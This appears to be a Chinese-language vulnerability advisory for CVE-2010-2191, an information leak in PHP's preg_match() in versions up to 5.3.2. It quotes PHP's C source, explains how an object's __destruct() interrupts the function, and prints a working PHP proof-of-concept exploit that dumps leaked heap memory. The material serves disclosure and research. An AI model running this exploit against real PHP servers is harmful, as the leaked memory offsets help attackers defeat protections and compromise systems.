PHP preg_match()函数中断处理信息泄露漏洞

受影响系统:

PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

描述:


CVE ID: CVE-2010-2191

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的preg_match()函数中存在信息泄露漏洞:

static void php_do_pcre_match(INTERNAL_FUNCTION_PARAMETERS, int global) /* {{{ */
{
    …

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, ((global) ? "ssz|ll" : "ss|zll"), &regex, &regex_len,
                              &subject, &subject_len, &subpats, &flags, &start_offset) == FAILURE) {
        RETURN_FALSE;
    }
    
    /* Compile regex or get it from cache. */
    if ((pce = pcre_get_compiled_regex_cache(regex, regex_len TSRMLS_CC)) == NULL) {
        RETURN_FALSE;
    }

    php_pcre_match_impl(pce, subject, subject_len, return_value, subpats,
        global, ZEND_NUM_ARGS() >= 4, flags, start_offset TSRMLS_CC);
}
/* }}} */

/* {{{ php_pcre_match_impl() */
PHPAPI void php_pcre_match_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *return_value,
    zval *subpats, int global, int use_flags, long flags, long start_offset TSRMLS_DC)
{
    …

    /* Overwrite the passed-in value for subpatterns with an empty array. */
    if (subpats != NULL) {
        zval_dtor(subpats);
        array_init(subpats);
    }

    subpats_order = global ? PREG_PATTERN_ORDER : 0;

    if (use_flags) {
        offset_capture = flags & PREG_OFFSET_CAPTURE;

第三个函数用于捕获匹配,在函数内部销毁并用数组替换。这意味着如果是对象的情况,就会调用对象的destructor。因此对象的__destruct()方式可以对第二个函数参数发动中断攻击,允许泄露哈希表内存的内容以获得重要的内存偏移。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/2010/05/31/mops-2010-050-php-preg_match-interruption-information-leak-vulnerability/index.html
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
class dummy
{
    function __destruct()
    {                      
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS[‘var’] = str_repeat("A", 39);
} else {
    $GLOBALS[‘var’] = str_repeat("A", 67);      
}

/* Trigger the Code */
$x = new dummy();
preg_match("/^.*$/", &$GLOBALS[‘var’], $x);
hexdump($x[0]);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "——-\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>

建议:


厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

发表评论?

0 条评论。

发表评论